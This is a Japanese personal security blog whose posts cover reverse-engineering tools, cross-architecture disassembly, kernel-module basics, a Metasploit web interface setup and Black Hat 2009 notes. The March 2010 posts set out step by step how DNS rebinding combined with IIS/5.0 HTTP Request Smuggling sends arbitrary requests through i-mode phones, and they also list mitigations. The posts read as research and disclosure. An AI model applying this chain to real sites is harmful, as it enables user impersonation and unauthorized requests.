KENJI’S BLOG このページをアンテナに追加 RSSフィード

Freezed...

2011-09-14

CTFとは?

はじめてslideshare使ってみた

2010-04-06

ツイッターやってみます

最近(?)、はやりのツイッター

6日〜9日まで韓国(http://www.codegate.org/Eng/)に滞在するので、これを機にやってみます。

http://twitter.com/07c00

といってもやり方が分からないんだけど

とりあえず、140文字の文章を書けばOKかな

2010-03-10

携帯電話関連のセキュリティ DNS Rebinding まとめ [IIS/5.0のHRSにより携帯から任意のHTTPリクエストを送信可能]

マイナーかもしれないけど、HTTP Request Smuggling(通称HRS)という攻撃手法があります。詳しくはWizardBible vol.19の金床氏のHRS記事を参照。そして、それに関連して、IIS/5.0の48kbバグ(仕様?)というものがありまして、簡単に言うと、IIS/5.0は、Content-Typeヘッダが無い48kb以上のボディ部を持つHTTPリクエストに対して、無条件にボディ部を48kbに決めつけるというものです(以下、WizardBible vol.19のHRS記事から引用)。

IIS/5.0にはとてもわけのわからないバグがあるようで、48kb以上のボディ部を持ち、かつContent-Typeヘッダーフィールドが無いHTTPリクエストは、無条件にボディ部を48kbちょうどと決めつけてしまうようです。

ちなみにIIS/5.1も5.0同様48kb決めうちを行います(IIS/6.0や7.0に関しては検証していません)。HRSの攻撃手法の観点から、例えば、IIS/5.0サーバへ、POSTで48kb(49152バイト)の"A"の羅列+"GET /test.html HTTP/1.0\r\n\r\n"というデータ列を送ると、HTTPリクエストは1つであるはずなのに、これに対するHTTPレスポンスは2つ返ってきます。仮にContent-Lengthが正しい値49178(49152 + "GET /test.html HTTP/1.0\r\n\r\n"のサイズ)を示していても、IISは、最初の「POSTに対するレスポンス」と「48kb以降の"GET /test.html HTTP/1.0\r\n\r\n"に対するレスポンス」の2つを返します。

この前提条件を元に、再度DNS Rebindingを考えます。例えばIIS/5.0で運用されている携帯(iモード)向けのWebサービスがあった場合、そのWebサービスでは携帯電話(iモード)からのHTTPリクエストが自在に操れることになります。

  1. target.com(1.2.3.4)にて、IIS/5.0で運用されている携帯(iモード)向けのWebサービスが稼動
  2. 攻撃者のドメインattack.com(5.6.7.8)から、iアプリをダウンロード
  3. DNS Rebindingにより、attack.comのIPアドレスを1.2.3.4にセット
  4. iアプリからattack.com(=target.com)に対して、POST(48kb)+"GET /test.cgi HTTP/1.0\r\n\r\n"を送信
  5. サーバ側は、POSTによる48kbのリクエスト後、2つ目のリクエスト"GET /test.cgi HTTP/1.0\r\n\r\n"を受信

48kb以降のデータ列はどのようなHTTPリクエストでも構わなく、かつ、Docomoのゲートウェイの認証に関係なく通過するため(ゲートウェイはPOSTによる入力データだと認識する)、実質、任意のHTTPリクエストを携帯電話から送れます。ちなみにiアプリのPOSTできる最大サイズは80kbとなっているため、約32kb(80kb-48kb)以下までのHTTPリクエストを生成できます。Ajax(JavaScript)については検証していませんが、Content-Typeを付加しないPOSTを送ることができれば、おそらく同じことが可能だと思われます。


実際にテスト環境で試してみたところ、iアプリだと48kbのデータを普通に扱う(送受信したりする)のは結構メモリを圧迫するらしく、少しコードを気をつける必要がありましたが、結果的にはうまくHTTPリクエストを送信できました。この問題はDNS Rebindingにより任意の携帯向けWebサイトへアクセスさせ、かつ、HRSにより任意のHTTPリクエストをIISサーバへ送信する、という双方の既存の脆弱性を利用します。よって、対処法としては、DNS Rebinding阻止のためにバーチャルホストで運用 or 携帯サイトではIISを使用しない、という感じかなと思います。

2010-03-05

携帯電話関連のセキュリティ DNS Rebinding まとめ [iアプリで試してみた]

JavaScriptのXMLHttpRequestでのクロスドメイン制限を回避できるなら、iアプリはどうなんだろう? ということで試してみた。ちなみにDocomoのiアプリは「制限したHTTP通信」をサポートしており、一応HTTPが扱えるが、携帯電話にダウンロードされたiアプリは、ダウンロード元のサーバへしかHTTP通信できない、また、HTTP以外の通信をサポートしない、という制限がある。

参考:Doja HttpConnection

「ダウンロード元のサーバへしかHTTP通信できない」という点においてJavaScript(Ajax?)と似ている。結果から言うと、iアプリDNS Rebindingでダウンロード元以外のサーバへアクセス可能だと判明。

  1. mydomain.comのIPアドレスを1.2.3.4にセット(1.2.3.4は自分が管理するサーバ)
  2. mydomain.com(1.2.3.4)からiアプリを携帯電話にダウンロード
  3. mydomain.comのIPアドレスを5.6.7.8に変更
  4. 携帯電話にインストールされたiアプリを起動してHTTP通信を実行
  5. iアプリから5.6.7.8のサーバへのアクセスを確認

GET、POST、guid=ONなど基本的なものはiアプリから送れるため、guidだけで認証してたりするとiアプリから「なりすまし」が可能になるかもしれないが、そもそもiアプリを他人にダウンロードしてもらわないとダメなのでJavaScriptとくらべると危険度はそれほどなさそう?

あと携帯電話のDNSキャッシュについて、ブラウザ起動中はずっとキャッシュされているっぽいが、ブラウザを一度閉じて再度起動すると、また新しく問い合わせしにいく模様(Docomo N-02Aで確認)。ブラウザ起動中は再度問い合わせにいかないなら、XMLHttpRequestでのクロスドメイン制限を回避できなさそうだけど、可能だということは、おそらくブラウザに入力したURL(ホスト)に対するDNSキャッシュとJavaScriptが持つDNSキャッシュは別で管理しているのかな。

2010-03-01

携帯電話関連のセキュリティ DNS Rebinding まとめ [自分用メモ]

  1. iモードブラウザ2.0でJavaScriptが本格的に有効になったので、XMLHttpRequestを使ってサーバと通信可能になった(2009年8月辺り?)
  2. DNS RebindingでJavaScriptのクロスドメイン制限が突破可能だと判明(2009年11月)
  3. iモードIDはguid=ONをURLの末尾につけることでサーバへ転送されるため、iモードIDで「かんたんログイン」していると「なりすまし」の可能性あり(2010年2月)
  4. [対策1] DNS RebindingするとHTTPリクエストのHostが本来のホスト名にならないため、バーチャルホストで運用すればOK
  5. [対策2] そもそもCGI側でHostを確認して、自ホスト以外なら弾くコードを追加すればOK?

2009-09-22

名言「地獄への道はいつも善意で満ちている」の解釈パターン

http://www.nicovideo.jp/watch/sm3944175

名言の解釈パターンが様々だったので調べてみた。あと、言葉にはこういうあいまいさがあるから翻訳をプログラミングできないんだろうなぁと人間の脳のすごさを改めて実感してみたり。

  1. 善意を持つのはいいが、行動(善行)しなければ結局は何も変わらないぞ(地獄行きだぞ)、という「行動が重要」という解釈
  2. 悪い奴らはいつだって笑顔で(善意であるかのように)お前に近寄ってくるぞ、という「うまい話には裏がある」という解釈
  3. 良かれと思ってやっていることも、結果的に相手にとって悪いことになったりもするぞ、という「意図と結果が異なることもあるぞ」という解釈
  4. 自分がどんなに不幸だと感じても、それに至るまでには数多くの人の助けがあったはずだ、という「結局は誰でもない自分の責任だ」という解釈
  5. 解釈の答えは誰でもないキミの心の中にある、という「それぞれで答えを見つけ出せばOK」という全肯定

いや、結局Webで調べても本当の意味は分からなかったのですが…それはそれとして、

クレヨンしんちゃんは小学校の頃にずっと見てました。つまり、おもいっきり世代ですね。

臼井儀人さんのご冥福をお祈りします。

2009-09-20

ARMプログラムをx86環境上で実行したいなら…

ATDE:http://armadillo.atmark-techno.com/downloads

ATDEはArmadilloシリーズの開発環境を提供するVMware仮想マシンのデータイメージです。イメージはLinuxデスクトップ環境をベースにGNUクロス開発ツールやその他の必要なツールが事前にインストールされています。

とのこと。

ダウンロードサイズは600MB程度、展開後は6GB近くなる。ユーザー:atmark、パスワード:atmarkでログイン可能。rootのパスワードはそのままrootでおk。このlinux環境の中にARM用のコンパイラが入っていますので、まずはそれでコンパイル。

$ cat > test.c
#include <stdio.h>

int main(void)
{
        printf("Hello ARM\n");
        return 0;
}
^C(Ctrl+C)
$ arm-linux-gnu-gcc test.c -o test
$ file test
test: ELF 32-bit LSB executable, ARM, version 1 (ARM), for GNU/Linux 2.4.1, 
dynamically linked (uses shared libs), for GNU/Linux 2.4.1, not stripped
$ ./test
-bash: ./test: cannot execute binary file
$

当然実行できませんので、qemuをインストールします。

$ su
Password:root
# apt-get update
# apt-get install qemu

無事、インストールが完了したら、qemuのユーザーモードエミュレーションを使ってARMバイナリを実行。

# qemu-arm -L /usr/arm-linux-gnu/ test
Hello ARM
#

同じようにしてppcの場合も実行できる。

# powerpc-linux-gnu-gcc -static test.c -o testppc
# qemu-ppc -L /usr/powerpc-linux/ testppc
Hello PPC
#

2009-09-14

リバースエンジニアリングに挑戦したい! 最低限必要なものは?

  1. OllyDbg Windowsで普通のアプリを動的解析したい!
  2. Stirling バイナリを直接編集したい!
  3. BZエディタ GB(ギガバイト)レベルのファイルのバイナリも楽に編集したい!
  4. IDAPro Free版 Windowsで静的解析がしたい!
  5. IDAPro Demo版 x86以外のCPUも解析したい!(ARMとか)
  6. WinDbg Windowsのカーネルみたり、ダンプファイルみたりしたい! もちろん普通のデバッガとしても使いたい。
  7. jad javaのクラスファイルを逆コンパイルしたい!
  8. Reflector .NETの実行ファイルを逆コンパイルしたい!
  9. Flashデコンパイラ集 Flashを逆コンパイルしたい!
  10. radare 安定してないけどppcとかも解析したい! あとshellcodeも書きたい!
  11. nasm 64ビットも読みたい!

あとは環境に合わせて…、例えばUNIX系ならgdbは必須。

また、上のやつプラス、自分の気に入った解析ツール類をインスコしておけばOKなはず。

2009-09-09

PowerPC環境がないけどPowerPC用バイナリを逆アセンブルしたい場合は…

もちろんPowerPC環境があるに越したことはないのですが、仮に無くても逆アセンブルさえできればなんとかなるので、radareのppcオプションで頑張れます。

http://radare.nopcode.org/new/

# rasm -h
Usage: rasm [-elvV] [-f file] [-s offset] [-a arch] [-d bytes] "opcode"|-
 if 'opcode' is '-' reads from stdin
  -v           enables debug
  -d [bytes]   disassemble from hexpair bytes
  -f [file]    compiles assembly file to 'file'.o
  -s [offset]  offset where this opcode is suposed to be
  -a [arch]    selected architecture (x86, olly, ppc, arm, java, rsc)
  -e           use big endian
  -l           list all supported opcodes and architectures
  -V           show version information
#

x86はもちろんですが、対応アーキテクチャにppcやarmも入っています。試しにppc用バイナリを読ませると

# radare sample
open ro sample
> Importing file information...
[Information]
ELF class:       ELF32
Data enconding:  2's complement, big endian
OS/ABI name:     linux
Machine name:    PowerPC
Architecture:    ppc
File type:       EXEC (Executable file)
Stripped:        Yes
Static:          No
Base address:    0x10000000
> Importing symbols...
7 imports added
1 symbols added
29 sections added
2 strings added
> Analyzing code...
  [/] 02:01:02:00 ==
strings: 2
functions: 1
structs: 0
data_xrefs: 0
code_xrefs: 0
[0x100003E0]>V(←入力)
[ 0x100003e0 (bs=512 mark=0x0) (null) ] entrypoint,section._text
[.________#______________________________________________________________________________________]
          ; [12] 0x100003e0 size=00005568 align=0x00000010 -r-x .text
          ; args = 0
          ; vars = 0
          ; drefs = 0
          0x100003e0, / entrypoint,section._text:
          0x100003e0, |           7c290b78        mr      r9,r1
          0x100003e4, |           54210036        rlwinm  r1,r1,0,0,27
          ; syscall (todo)
          0x100003e8, |           38000000        li      r0,0
          0x100003ec, |           9421fff0        stwu    r1,-16(r1)
          0x100003f0, |           7c0803a6        mtlr    r0
          0x100003f4, |           90010000        stw     r0,0(r1)
          ; syscall (todo)
          0x100003f8, |           3d001000        lis     r8,4096
          0x100003fc, |           85a819d8        lwzu    r13,6616(r8)
          0x10000400, |           480014f0        b       0x100018f0  ; 1 = 0x100018f0
          0x10000404, |           00000000        .long 0x0
          0x10000408, |           00000000        .long 0x0
          0x1000040c, |           00000000        .long 0x0
          0x10000410, |           9421ffe0        stwu    r1,-32(r1)
          0x10000414, |           7c0802a6        mflr    r0
          0x10000418, |           93810010        stw     r28,16(r1)
          0x1000041c, |           93a10014        stw     r29,20(r1)
          ; syscall (todo)
          0x10000420, |           3f801001        lis     r28,4097
          0x10000424, |           90010024        stw     r0,36(r1)
          0x10000428, |           93c10018        stw     r30,24(r1)
          ; syscall (todo)
          0x1000042c, |           3bdc2020        addi    r30,r28,8224
          0x10000430, |           93e1001c        stw     r31,28(r1)
          0x10000434, |           881c2020        lbz     r0,8224(r28)
          0x10000438, |           2f800000        cmpwi   cr7,r0,0

問題なしっぽい?

ちなみにarmも読めるけど、arm読むためならIDAProのデモ版の方がよい感じ。

http://www.hex-rays.com/idapro/idadowndemo.htm

2009-09-07

64ビット環境がないけど64ビット用バイナリを逆アセンブルしたい場合は…

もちろん64ビット環境があるに越したことはないのですが、仮に無くても逆アセンブルさえできればなんとかなるので、ndisasmの64ビットオプションで頑張れます。

http://www.nasm.us/

http://www.nasm.us/pub/nasm/releasebuilds/2.07/win32/nasm-2.07-win32.zip

ターゲットとなるアプリケーションはこの辺りから。

C:\Temp\nasm-2.07>ndisasm.exe -e 1024 -b 64 -p amd prog1.exe > dis.txt
C:\Temp\nasm-2.07>type dis.txt|more
00000000  4883EC28          sub rsp,byte +0x28
00000004  FF1536110000      call qword [rel 0x1140]
0000000A  4C8D05AF110000    lea r8,[rel 0x11c0]
00000011  488D15B8110000    lea rdx,[rel 0x11d0]
00000018  488BC8            mov rcx,rax
0000001B  4533C9            xor r9d,r9d
0000001E  FF1524110000      call qword [rel 0x1148]
00000024  33C0              xor eax,eax
00000026  4883C428          add rsp,byte +0x28
0000002A  C3                ret
0000002B  CC                int3
0000002C  CC                int3

EXEファイルの先頭から400hからコードが始まっているので、開始場所を1024に指定し、amdの64ビットとして逆アセンブルした結果をdis.txtへ保存。中を読むとちゃんとrspとかになっている。あとは地道に読めばなんとかなるはず。

ちなみに64ビット環境があるなら素直にWinDbgがお得。

2009-09-02

AVTokyo CFP 募集中

http://ja.avtokyo.org/avtokyo2009/cfp

新規性のある技術ネタをもっている方はぜひ。

2009-08-01

Black Hat USA 2009 メモ(二日目)


Attacking SMS

i-Phoneなどで使われているメールソフト(プロトコル?)のSMSを解析して、Hackingした話。うまく利用することでモバイルに対するfinger printなどができるみたい。他にもいろいろとできるみたい(よく分かってないw)。プロトコル自体はそれほど堅牢に作られていないのかな。


SADE: Injecting Agents in to VM Guest OS

VM技術を使ってマルウェア解析を行なうツール(というかシステム)であるSADEの話。ハイパーバイザをうまく使って、マルウェア解析に役立てる。具体的には、Ring-1で動くSandBoxを作った感じで、ハイパーバイザの上にはマルウェアを実行する環境であるWindows1台と、ハイパーバイザを含む環境全体を管理する管理用OSをひとつ用意して、管理用OSからマルウェア実行環境にいろいろとちょっかい(パッチ当てたりフックしたり)しながら、マルウェアの動作を自動で解析するシステムの話。既存の技術を組み合わせてどうこうする話なので新規性はあまりない。Ring0とRing3のマルウェアはほぼこれで事足りるとのこと。


Reverse Engineering by Crayon

去年も聞いた気がしたが、解析時のマシン語の関係性をグラフ化して、どのように処理に関連性があるかを可視化したりするツールの話。普通にすごい。というか面白いし便利そう。というか、IDAにオプションでつけて普通に売ってくれ。


MD5 Chosen

MD5GPU使ってブルートフォースでクラックした話。結構早くクラックできるらしい。いろいろなGPU使ってて個人的にかなりツボでした。PS3とかも使ってました。


Anti-Forensics: The Rootkit Connection

どれも捨てがたいセッションの中、フォレンジックネタで試しに聞いてみた。が、あんまり意味が分からなかった。Rootkit関連だから大丈夫だろと思ってしまったのが間違いだったw。一応、Rootkitフォレンジック的に解析する際の手法(スタンダードなやり方?)を解説していた模様。でもよく分からんかったです(多分ちゃんと聞けばアンチフォレンジック的な話になったのだろう)。


注:とりあえずメモ程度なので、認識が間違ってたりする可能性あり(英語力的な意味で)。

今年は仮想化技術が分野として確立されてました。あとモバイル系の話も出てきてますね。今後はモバイル系のセキュリティとかが注目されていくのでしょうか…。

2009-07-30

Black Hat USA 2009 メモ(一日目)


Stoned Bootkit

2005年辺りに話題になったBootkitの進化版? OSの前に起動しハードウェアI/Oのint13hをフックして、TrueCryptを無効化するrootkit。研究内容としてはRing-3が面白かったけど、実用性ではこっちに軍配が上がる。


Sniff keystrokes with Lasers/Voltmeters

ハードウェア系のキーロガーの話。レーザーやオシロスコープ(?)などを用いて、外からPS/2キーボードのログをキャプチャできないか? という感じの話(たぶん)。マシンによってノイズの量が異なり、EeePCは結構クリアでとりやすく、MacBookはノイズが多いとのこと。それにしても、こんなことを研究してた人がいたのか…。


Our Favorite XSS Filters and How to Attach Them

スタンダードなものからマニアックなものまで、XSSに関する一通りの研究結果をまとめたもの。ブラウザごとに、これは通る、とか、これは無理とか、それなりに面白かったがあくまでまとめ的なものなので新規性はそれほどなし。あとは、記号で構成したalert出力のjavascriptコードを紹介してた時に、スピーカーの口からはせがわようすけ氏の名前が出てきてわろたw。


The Language of Trust

ActiveXやフラッシュといったWebに関わる技術の話だったと思うけど、実際ちょっと内容分からなかった。参考:http://www.computerworld.jp/topics/vs/156769.html


Introducing Ring-3 Rootkits

Ring3はユーザーランド、Ring0がカーネルランド、Ring-1がハイパーバイザ(Blue Pill)で、Ring-2がSMM Rootkit、そしてRing-3は、chipset Rootkitとのこと。どうやらチップセットにまでRootkitを埋め込む時代になったようだ。ハードウェア依存は凄まじいだろうが、それ以前にチップセットにRootkit入れようとしたのが笑えたw。とりあえず、Intel Q35系のチップセットならインストール可能らしい。でもQ45系だと無理とかなんとか。


参加してはいないが、Rootkit系は他には、MacOSXrootkitの話、Managed Code(.NET)のrootkitの話、あとJavarootkitの話があった。あとは気になったのは、More Tricks for Defeating SSLというブラウザなどの仕様を利用してSSL通信をうまくMITMする手法を紹介する話とか。

あと今年のBH USAは、技術系のセッションだけでなく、政治や法律的な観点からのセキュリティセッションも用意した模様。おかげで同じ時間に8セッション同時とか行なわれてる。

2009-07-02

metasploit:55555が繋がらないので久しぶりに自前で立てる

UbuntuのVMイメージ

http://www.ubuntulinux.jp/products/GetUbuntu

とりあえずリモートからログインするためにsshをインストール

$ sudo su
[sudo] password for ubuntu:
# apt-get update
# apt-get install ssh

Ubuntuにはデフォルトでrubyが入っていないのでインストール

# apt-get install ruby
# apt-get install rubygems
# apt-get install libopenssl-ruby

以下からmetasploitフレームワークの最新版をDL

http://www.metasploit.com/framework/download/

WinSCP3などを使ってファイルを転送

$ tar zxvf framework-3.2.tar.gz
$ cd framework-3.2/
$ ls
README         external  msfcli      msfelfscan  msfmachscan  msfpescan  scripts
data           lib       msfconsole  msfencode   msfopcode    msfweb     tools
documentation  modules   msfd        msfgui      msfpayload   plugins
$ ./msfweb -a 172.17.0.169

[*] Starting msfweb v3.2-release on http://172.17.0.169:55555/

=> Booting WEBrick...
[*] WEBrick directory traversal patch loaded
=> Rails 2.1.2 application started on http://172.17.0.169:55555
=> Ctrl-C to shutdown server; call with --help for options
[2009-07-02 14:52:59] INFO  WEBrick 1.3.1
[2009-07-02 14:52:59] INFO  ruby 1.8.6 (2007-09-24) [i486-linux]
[2009-07-02 14:52:59] INFO  WEBrick::HTTPServer#start: pid=10183 port=55555

tarボールを展開し、msfwebを実行。-aオプションでサーバのIPアドレスをセットしないと、localhost以外からアクセスできない。

ブラウザからhttp://172.17.0.169:55555/へアクセスするとmetasploit画面が表示される。

2009-04-29

最速でkernel moduleのお勉強

UbuntuのVMイメージ

http://www.ubuntulinux.jp/products/GetUbuntu

  • UbuntuのVMイメージをDL
  • 初期設定(初回起動時の時間設定やユーザー作成など)を終える
  • 適当な場所に適当な名前でディレクトリ作成
  • ディレクトリの中にMakefileとソースファイル作成
  • コンパイル(ビルド?)*1
  • .koファイルの出来上がり
  • insmodでカーネルモジュールをロード
  • rmmodでカーネルモジュールをアンロード
  • dmesgで出力ログを確認
$ pwd
/home/kenji/hello
$ mkdir hello
$ ls
Examples  テンプレート  ドキュメント  音楽  公開
hello  デスクトップ  ビデオ  画像
$ cd hello
$ cat >Makefile
obj-m += hello.o
$ cat >hello.c
#include <linux/module.h>

int init_module(void)
{
    printk(KERN_ALERT "Hello World!\n");
    return 0;
}

void cleanup_module(void)
{
    return;
}
$ ls
Makefile  hello.c
$ make -C /lib/modules/2.6.24-18-generic/build/ SUBDIRS=~/hello modules
make: ディレクトリ `/usr/src/linux-headers-2.6.24-18-generic' に入ります
  CC [M]  /home/administrator/hello/hello.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/administrator/hello/hello.mod.o
  LD [M]  /home/administrator/hello/hello.ko
make: ディレクトリ `/usr/src/linux-headers-2.6.24-18-generic' から出ます
$ ls
Makefile  Module.symvers  hello.c  hello.ko  hello.mod.c  hello.mod.o  hello.o
$ sudo insmod hello.ko
$ sudo rmmod hello.ko
$ dmesg | tail
....
[107213.396841] hello: module license 'unspecified' taints kernel.
[107213.616381] Hello World!

あとは普通のLinuxデバドラ系の解説サイトを見ればおkかと。

*1VirtualBox版のVMイメージならあらかじめ「sudo apt-get install build-essential」とかしておく必要があるかも

2009-04-27

最速LAMP(メモ)

最速でLAMP(Linux、Apache、MySQLPHP)環境を用意する方法?

http://builder.japan.zdnet.com/news/story/0,3800079086,20384129,00.htm


UbuntuのVMイメージ

http://www.ubuntulinux.jp/products/GetUbuntu


$ sudo apt-get update
$ sudo apt-get install apache2
$ sudo apt-get install php5 libapache2-mod-php5
$ sudo /etc/init.d/apache2 restart
$ sudo apt-get install mysql-server

Webアプリの勉強始めました

2009-03-16

MacOSXをメインマシンにするためのメモ

現在自分が持っているマシンでもっともスペックが高いものがCore2Duo2.4のMacBookだったりするため、必然的にMacOSXを使う機会が多くなるので、最大限MacBookをメインマシンとして使えるように努力してみた。ちなみに別にMacOSXに心変わりしたわけではない。Windowsも変わらず大好きですよ。

1、まず買ったばかりのMacBookにはgccをはじめとした開発環境がデフォルトでインストールされていないので、付属のDVDから開発環境全般をインストール。エンジニアとしては、開発環境ついてないならWindowsと変わらない…。

2、次にVM(VirtualBox2)をインストール。個人的に他環境を使えることは必須なのでVMは必需品。VirtualBox2からMac版もブリッジ接続に対応したので、ゲストがホストと同じネットワークでいろいろ出来ます(ホストからゲストに対してsshで接続などが可能)。ちなみにVMWareVirtualPCはMac版が無さそうなので、VirtualBoxを選択。

3、VM上にUbuntu Linuxをインストール。UbuntuのWebサイトでは、普通にVirtualBox用のVMファイルも配布してくれています(ものすごい親切だ…)。もちろんLinux環境は普通に必要なのでインストール。

4、ブリッジ設定する。まずMaxOSXの設定。アップルメニュー>システム環境設定>共有>インターネット共有 を選択し、「共有する接続経路」を実際にWebに繋がるインターフェース(自分の場合AirMac)に変更、「相手のコンピュータが使用するポート」をEthernetに変更する。そして「インターネット共有」にチェックを入れる(チェックボックスをダブルクリック)。 次にVirtualBoxの設定。ubuntuを選択し、設定->ネットワーク->アダプタ1 を選択し、「ネットワーク アダプタを有効化」にチェックが入っていることを確認。「割り当て」を「ホストインターフェース」に変更。さらに下の「ホスト インターフェース」を「Ethernet」に変更。 これで、ホストとゲストを加えた192.168.2.0というネットワークが作られる。ホストのMacOSXは192.168.2.1、ゲストのUbuntuは192.168.2.2というIPになる。もしゲストにIPアドレスが割り当てられてなかったら手動で192.168.2.2を割り当てる。

5、VM上のUbuntusshサーバをインストール。デフォルトで入ってなかったためapt-getでインストールした。

$ sudo su(rootになる)
[sudo] password for kenji:
# apt-get update
(省略)
#  apt-get install openssh-server
(省略)

これで、22ポートが開く。MacOSXのterminalから以下のコマンドでUbuntuにアクセスできる。

$ ssh 192.168.2.2 -l kenji
kenji@192.168.2.2's password: 
(省略)
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Mon Mar 16 03:57:36 2009 from aikoukenji-no-macbook.local
kenji@ubuntu-vbox:~$ 

ファイル転送はscpを使う。

$ scp test.txt kenji@192.168.2.2:/tmp/
kenji@192.168.2.2's password: 
test.txt                                      100%    5     0.0KB/s   00:00    

6、続いてWindowsXPをインストール(VistaはVMだと若干重いため)。VirtualBoxの設定はUbuntuのときと同じ(WindowsXPを選択し、設定->ネットワーク->アダプタ1 を選択し、「ネットワーク アダプタを有効化」にチェックが入っていることを確認。「割り当て」を「ホストインターフェース」に変更。さらに下の「ホスト インターフェース」を「Ethernet」に変更)だが、WinXPの場合、自動でIPを割り当ててくれないため、192.168.2.3を自前で割り振る。WinXPだと、ネットワーク接続->ローカルエリア接続を右クリック->プロパティ->全般->インターネットプロトコル(TCP/IP)を選択->プロパティボタンをクリック。 IPアドレスを192.168.2.3、サブネットマスクを255.255.255.0、デフォルトゲートウェイを192.168.2.1、DNSサーバを同じく192.168.2.1に設定しOKボタンをクリック。さらにOKボタンをクリックで閉じる。これで、WinXPも192.168.2.0ネットワークに参加。MacOSXからアクセス可能。個人的にVMから直接アクセスするのは嫌いなので、ゲストのWinXPでリモートディスクトップサーバを立ち上げ、MacOSXからOSX版のRemote Desktop Connection for Macからリモートディクトップでアクセス。

(追記:Ubuntu Linuxはデフォルトでgccはインストールされているけど、libc6-devはインストールされてない。なのでコンパイルしても「stdio.hがない」とか言われる。なんじゃそりゃーということでlibc6-devをapt-getしようと思ったが、検索してみたら「sudo apt-get install build-essential」の方がよいらしかったのでこちらで。そして無事解決。というかなにゆえgccだけが入っている状態なのだUbuntuよ)

2009-03-14

MacOSXでも少しずつカーネルを触り始めてみるテスト

ぶっちゃけ全然分かりませんが、根はFreeBSDだからきっとなんとかなる。

$ cat >w.c
int main()
{
        write(1, "test", 4);
	return 0;
}
^C
$ gcc w.c
$ gdb a.out
GNU gdb 6.3.50-20050815 (Apple version gdb-768) (Tue Oct  2 04:07:49 UTC 2007)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-apple-darwin"...Reading symbols for shared libraries ... done

(gdb) b write
Breakpoint 1 at 0x380a4
Note: breakpoint 1 also set at pc 0x380a4.
Breakpoint 2 at 0x380a4
Breakpoint 3 at 0x29e94
warning: Multiple breakpoints were set.
Use the "delete" command to delete unwanted breakpoints.
(gdb) r
Starting program: /Users/kenji/Source/a.out 
Reading symbols for shared libraries ++. done
Breakpoint 1 at 0x91aec0a4
Breakpoint 2 at 0x91aec0a4
Breakpoint 3 at 0x91adde94

Breakpoint 1, 0x91aec0a4 in write$NOCANCEL$UNIX2003 ()
(gdb) x/4i $eip
0x91aec0a4 <write$NOCANCEL$UNIX2003>:	mov    $0xc018d,%eax
0x91aec0a9 <write$NOCANCEL$UNIX2003+5>:	call   0x91ab5cf4 <_sysenter_trap>
0x91aec0ae <write$NOCANCEL$UNIX2003+10>:	jae    0x91aec0be <write$NOCANCEL$UNIX2003+26>
0x91aec0b0 <write$NOCANCEL$UNIX2003+12>:	call   0x91aec0b5 <write$NOCANCEL$UNIX2003+17>
(gdb) si
0x91aec0a9 in write$NOCANCEL$UNIX2003 ()
(gdb) si
0x91ab5cf4 in _sysenter_trap ()
(gdb) x/4i $eip
0x91ab5cf4 <_sysenter_trap>:	pop    %edx
0x91ab5cf5 <_sysenter_trap+1>:	mov    %esp,%ecx
0x91ab5cf7 <_sysenter_trap+3>:	sysenter 
0x91ab5cf9 <_sysenter_trap+5>:	nopl   (%eax)
(gdb)

とりあえず、sysenter方式を採用してた。

MacOSXのカーネルモジュールの作り方が分からないので、検索したら、appleのサイトに詳細な解説がありました。apple自らこんなに分かりやすい解説サイトを作っているなんて、appleとても親切だ!

#include <sys/systm.h>
#include <mach/mach_types.h>

kern_return_t HelloKernel_start (kmod_info_t *ki, void *d)
{
	unsigned long addr;

	// printf("KEXT has loaded!");
	
	__asm
	{
		mov ecx, 0x176
		rdmsr
		mov addr, eax
	}
	
	printf("SYSENTER: 0x%08X", addr);
	return KERN_SUCCESS;
}


kern_return_t HelloKernel_stop (kmod_info_t *ki, void *d)
{
	printf("KEXT will be unloaded");
	return KERN_SUCCESS;
}

ビルド、実行。

/var/log/system.logを見てみると

Mar 11 02:27:27  sudo[631]:    kenji : (省略) COMMAND=/sbin/kextload -v HelloKernel.kext/
Mar 11 02:27:28  kernel[0]: SYSENTER: 0x001BCEE0

SYSENTERのとび先が結構若いアドレス(0x001BCEE0)だった。MacOSXのカーネルは低位置にあるっぽい?

2009-02-01

「BlackHat Europe 2009」のCFP(Call For Papers)出しました

BlackHat Europe 2009のCFP出しました。

http://www.blackhat.com/html/bh-europe-09/bh-eu-09-cfp.html

ギリギリでしたが、なんとか間に合ったと思います。もし受かったら、アムステルダム(Amsterdam)行ってきます。もし落ちたら、USA → Japan → Europe と見事「3連敗*1」となります…orz。…頑張れ俺。

追記

まぁ普通に落選しているわけですが…orz。

*1:BH Japan 2008ではあくまで代打だったので、CFP自体は落ちてます

2009-01-09

FreeBSDのカーネルとかドライバとか触ってみたメモ(壱)

FreeBSDを触り始めて6ヶ月くらい経ったので、そろそろFreeBSDカーネルに手を出してみる…。

# pkg_add ftp://ftp.jp.freebsd.org/pub/FreeBSD/ports/i386/packages/All/cvsup-without-gui-16.1h_4.tbz
# cp /usr/share/examples/cvsup/stable-supfile ./
# vi stable-supfile
(CHANGE_THIS.FreeBSD.org → cvsup.jp.FreeBSD.org)
# cvsup stable-supfile(現在はcsup推奨! Hossyさんサンクス!)
(/usr/src以下にカーネルのソースコードがダウンロードされる)
# cd /usr/src/sys/modules/
# mkdir skeleton
# cd skeleton
# cat >skeleton.c
/*
 * KLD Skeleton
 * Inspired by Andrew Reiter's Daemonnews article
 */

#include <sys/types.h>
#include <sys/module.h>
#include <sys/systm.h>  /* uprintf */ 
#include <sys/errno.h>
#include <sys/param.h>  /* defines used in kernel.h */
#include <sys/kernel.h> /* types used in module initialization */

/* 
 * Load handler that deals with the loading and unloading of a KLD.
 */

static int
skel_loader(struct module *m, int what, void *arg)
{
  int err = 0;
  
  switch (what) {
  case MOD_LOAD:                /* kldload */
    uprintf("Skeleton KLD loaded.\n");
    break;
  case MOD_UNLOAD:
    uprintf("Skeleton KLD unloaded.\n");
    break;
  default:
    err = EOPNOTSUPP;
    break;
  }
  return(err);
}

/* Declare this module to the rest of the kernel */

static moduledata_t skel_mod = {
  "skel",
  skel_loader,
  NULL
};  

DECLARE_MODULE(skeleton, skel_mod, SI_SUB_KLD, SI_ORDER_ANY);
^C(Ctrl + C)
# cat >Makefile
SRCS=skeleton.c
KMOD=skeleton

.include <bsd.kmod.mk>
^C(Ctrl + C)
# make
(コンパイル中…)
# ls skeleton*
